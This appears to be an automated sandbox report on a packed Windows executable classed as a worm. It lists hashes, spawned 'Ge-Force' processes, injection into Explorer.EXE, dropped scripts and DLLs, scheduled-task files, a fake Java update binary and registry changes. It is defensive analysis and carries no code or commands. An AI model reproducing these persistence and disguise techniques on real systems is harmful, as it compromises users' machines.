MD5: df19badc8d07c6bee18a57e61ea387c2
SHA1: 2b7c6da2e61c98224b23f712beeaf74ba38c0787
SHA256: 3b08960f3416e9adf2f25fc702b4bbff4a716875de20f7035615ce17b717e588
SSDeep: 393216:Jm27XOLzs3pUzZyj2wps8oEmTRoUeBxI:Jm27gzs3pUzMjfGoUe
Size: 13067784 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: YourTemplateFinder
Created at: 2012-12-04 15:55:11
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

Process activity

The Worm creates the following process(es):

Ge-Force-codedownloader.exe:2504
Ge-Force-codedownloader.exe:2564
regsvr32.exe:2416
Khtmovq.exe:664
%original file name%.exe:1616
mscorsvw.exe:172
Ge-Force-bg.exe:2632

The Worm injects its code into the following process(es):

Explorer.EXE:2032

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process Ge-Force-codedownloader.exe:2564 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\manifest[1].xml (25 bytes)

The process Khtmovq.exe:664 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\192.js (869 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\184[1].js (25 bytes)
%Program Files%\Ge-Force\utils.exe (86583 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\ExecDos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\301.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\7.js (685 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\1.js (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\3.js (63 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\background.js (429 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\281.js (485 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\91.js (6584 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\93.js (953 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\104.js (921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\55b9f9b3-a933-4e78-9f2c-145eb2174f55-1.dll (35246 bytes)
%WinDir%\Tasks\55b9f9b3-a933-4e78-9f2c-145eb2174f55-1.job (74 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\123.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils2.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\43.js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\40.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\221.js (415 bytes)
%Program Files%\Ge-Force\Ge-Force.ico (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\242.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\182.js (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\288[1].js (551 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\180.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\47.js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\246.js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\45.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\102.js (1 bytes)
%Program Files%\Ge-Force\background.html (729 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\21.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\39.js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\35.js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\28.js (536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\94.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\337[1].js (407 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\354.js (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\177.js (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\4.js (3312 bytes)
%Program Files%\Ge-Force\Ge-Force-buttonutil.dll (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\262[1].js (25 bytes)
%Program Files%\Ge-Force\Ge-Force-codedownloader.exe (7547 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils.dll (27704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins.json (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\64.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\345.js (579 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\273.js (905 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\78.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\37.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\329201 (141808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\14.js (784 bytes)
%Program Files%\Ge-Force\Ge-Force-bho.dll (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\nsisos.dll (5 bytes)
%Program Files%\Ge-Force\Ge-Force-bg.exe (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\9.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\184.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\195.js (410 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nseB7.tmp (662466 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W5QGY4W6\356[1].js (407 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\41.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\2.js (63 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\plugins[1].json (4153 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\17.js (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\extension.js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\13.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\38.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\350[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\22.js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\42.js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\200.js (809 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\manifest[1].xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\223.js (825 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\220.js (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\286.js (997 bytes)
%Program Files%\Ge-Force\Uninstall.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\67844 (31281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\91[1].js (86817 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\72.js (1552 bytes)
%WinDir%\Tasks\55b9f9b3-a933-4e78-9f2c-145eb2174f55-5.job (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\StdUtils.dll (14 bytes)
%Program Files%\Ge-Force\Ge-Force-buttonutil.exe (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\183.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\253.js (737 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\263.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\ipgeoapi[1] (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GP2JGLQF\193[1].js (867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\46.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\manifest.xml (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\207.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\44.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IHE4VINB\app_code[1].js (2977 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\36.js (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RP80DVHJ\desktop.ini (67 bytes)
%Program Files%\Ge-Force\55b9f9b3-a933-4e78-9f2c-145eb2174f55-5.exe (7726 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\192.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\2.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\286.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\220.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\ExecDos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\301.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\7.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\329201 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\14.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\1.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\45.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\78.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\102.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\nsisos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\3.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\37.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\background.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils2.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\184.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\22.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\345.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\21.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\StdUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\35.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\182.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\39.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\195.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\9.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\47.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\28.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\94.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\42.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\263.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\41.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\354.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\93.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\253.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\281.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\177.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\4.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\104.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\183.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\55b9f9b3-a933-4e78-9f2c-145eb2174f55-1.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\64.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\123.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\91.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\46.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\17.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode\extension.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\43.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\13.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\38.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\manifest.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\40.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\207.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\44.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\72.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\242.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\36.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins.json (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\InstallerUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstB6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\67844 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\273.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\200.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\180.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\223.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\userCode (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\246.js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB8.tmp\{035F0B2B-E198-4B9E-B832-A46269A81ADD}\plugins\221.js (0 bytes)

The process %original file name%.exe:1616 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%WinDir%\system.ini (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\vbijkl.exe (741 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Khtmovq.exe (4404939 bytes)
%Program Files%\Common Files\Java\Java Update\jusched.exe (368 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\StdUtils.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0014C62D_Rar\%original file name%.exe (99596 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Kuoyj.tmp (419460 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\FacebookIsGod.dll (2426 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\vbijkl.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\FacebookIsGod.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\StdUtils.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Kuoyj.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB5.tmp\Khtmovq.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nszB4.tmp (0 bytes)

Registry activity

The process Ge-Force-codedownloader.exe:2504 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D1 3B B8 98 C0 3E 1C 13 AA 25 7E 13 60 E7 DA C3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

